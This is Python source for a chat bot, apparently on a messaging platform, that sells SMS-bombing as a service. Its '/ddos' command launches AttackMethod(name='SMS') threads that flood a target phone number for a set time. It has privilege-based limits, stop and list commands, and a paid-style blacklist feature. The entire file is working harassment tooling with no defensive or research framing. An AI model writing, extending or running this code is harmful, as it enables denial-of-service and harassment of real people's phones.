def __end_ddos_number(ddos_dict: dict(), user_id, pr_number) -> None: if user_id in ddos_dict: if pr_number in ddos_dict[user_id]: del ddos_dict[user_id][pr_number] if len(ddos_dict[user_id]) == 0: del ddos_dict[user_id] messages_send(user_id, info['stp_ddos'].format('+7' + pr_number))
def stop_ddos_number(user_id: str, number: str): if user_id in ddos_dict: if number in ddos_dict[user_id]: # Switch off ddos for user_id and number ddos_dict[user_id][number].is_running = False del ddos_dict[user_id][number] if len(ddos_dict[user_id]) == 0: del ddos_dict[user_id] messages_send(user_id, info['dis_ddos'].format(number)) return messages_send(user_id, info['not_num_in_dict'].format(number))
def permission_process(user_id: str, args: list, privilege: str) -> None: if args[0] == '/info' or args[0] == 'начать' or args[0] == 'start': limit = available_commands[privilege] messages_send( user_id, priv_info['general']['ddos'].format(limit['ddos']['time'], limit['ddos']['count'])) if privilege != 'user': messages_send(user_id, priv_info['not_jeneral']['bl']) return if args[0] == '/ddos': ddos(user_id, args, privilege) elif args[0] == '/bl': bl(user_id, args, privilege) else: messages_send_key(user_id, errors['er_not_command'], info_keyboard())
def process(self, user_id, message: str): # Add user to table if not exists_user(user_id) # If user is not a group member if not is_group_member(user_id): messages_send(user_id, info['not_member']) return # Get the privilege by user_id privilege = get_privilege(user_id) # Check got privilege if not is_privilege(privilege): messages_send(user_id, errors['er_privilege']) return # Split the message like commands args = message.lower().strip().split() # Processing the commands for user with privilege permission_process(user_id, args, privilege)
def call_ddos_number(user_id: str, number: str, time: int, threads: int): if user_id not in ddos_dict: ddos_dict[user_id] = { number: AttackMethod(name='SMS', duration=time, threads=threads, target=number) } else: ddos_dict[user_id].update({ number: AttackMethod(name='SMS', duration=time, threads=threads, target=number) }) end_thread = Timer(time, __end_ddos_number, (ddos_dict, user_id, number)) end_thread.start() messages_send(user_id, info['str_ddos'].format(number, time, threads)) ddos_dict[user_id][number].Start()
def bot_started(): for admin in get_users(): if get_privilege(admin.split()[0]) == 'admin': messages_send(admin.split()[0], 'Bot has been started...')
def bl(user_id: str, args: list, privilege: str): if len(args) > 3: messages_send_key(user_id, errors['er_invalid_args'].format(args[0]), info_keyboard()) return if privilege == 'user': messages_send_key(user_id, errors['er_no_access'], info_keyboard()) return limits = available_commands[privilege]['bl'] if args[1] not in limits: messages_send_key(user_id, errors['er_invalid_args'].format(args[0]), info_keyboard()) return if args[1] == 'add': num = parse_number(args[2]) if num is None: messages_send_key(user_id, errors['er_invalid_number'], info_keyboard()) return numbers = get_number(user_id) if len(numbers) >= limits['add']: messages_send_key(user_id, errors['er_limit_bl_num'], info_keyboard()) return for n in numbers: if num in n.split()[1]: messages_send_key(user_id, errors['er_already_in_table'].format(num), info_keyboard()) return add_number(user_id, num) messages_send(user_id, info['bl_add'].format(num)) return if args[1] == 'rem': num = parse_number(args[2]) if num is None: messages_send_key(user_id, errors['er_invalid_number'], info_keyboard()) return if not rem_number(user_id, num): messages_send_key(user_id, errors['er_no_rem'], info_keyboard()) return messages_send(user_id, info['bl_rem'].format(num)) return if args[1] == 'ls': numbers = get_number(user_id) if len(numbers) == 0: messages_send_key(user_id, errors['er_no_numbers'], info_keyboard()) return res = "" index = 0 for n in numbers: index += 1 res += (f'{index}: +' + n.split()[1] + '\n') messages_send(user_id, info['bl_ls'].format(res)) return
def ddos(user_id: str, args: list, privilege: str): if len(args) == 3: if args[1] == 'stop': pr_number = parse_number(args[2]) if pr_number is not None: stop_ddos_number(user_id, pr_number) else: messages_send_key(user_id, errors['er_stop_ddos'], info_keyboard()) return if len(args) == 2: if args[1] == 'ls': list_ddos_numbers = [] if user_id in ddos_dict: for num in ddos_dict[user_id]: list_ddos_numbers.append('+' + str(num)) messages_send( user_id, info['ddos_list_now'].format('\n'.join(list_ddos_numbers))) return else: messages_send_key(user_id, errors['er_no_ddos_numbers'], info_keyboard()) return if len(args) != 3: messages_send_key(user_id, errors['er_invalid_args'].format(args[0]), info_keyboard()) return num = parse_number(args[1]) if num is None: messages_send_key(user_id, errors['er_invalid_number'], info_keyboard()) return if num in get_numbers(): messages_send_key(user_id, errors['er_in_black_list'], info_keyboard()) return time = int(args[2]) limits = available_commands[privilege]['ddos'] if time > limits['time']: messages_send_key(user_id, errors['er_no_priv_args'].format(limits['time']), info_keyboard()) return ddos_numbers = get_ddos_numbers_by_user_id(user_id) if ddos_numbers is not None: print(len(ddos_numbers)) if len(ddos_numbers) >= limits['count']: messages_send_key( user_id, errors['er_limit_ddos_num'].format('\n'.join( ddos_numbers.keys())), info_keyboard()) return if ddos_numbers is not None: if num in ddos_numbers.keys(): messages_send_key(user_id, errors['er_already_ddos'].format(num), info_keyboard()) return add_number_to_history(user_id, num) Thread(target=call_ddos_number, args=(user_id, num, time, 15)).start()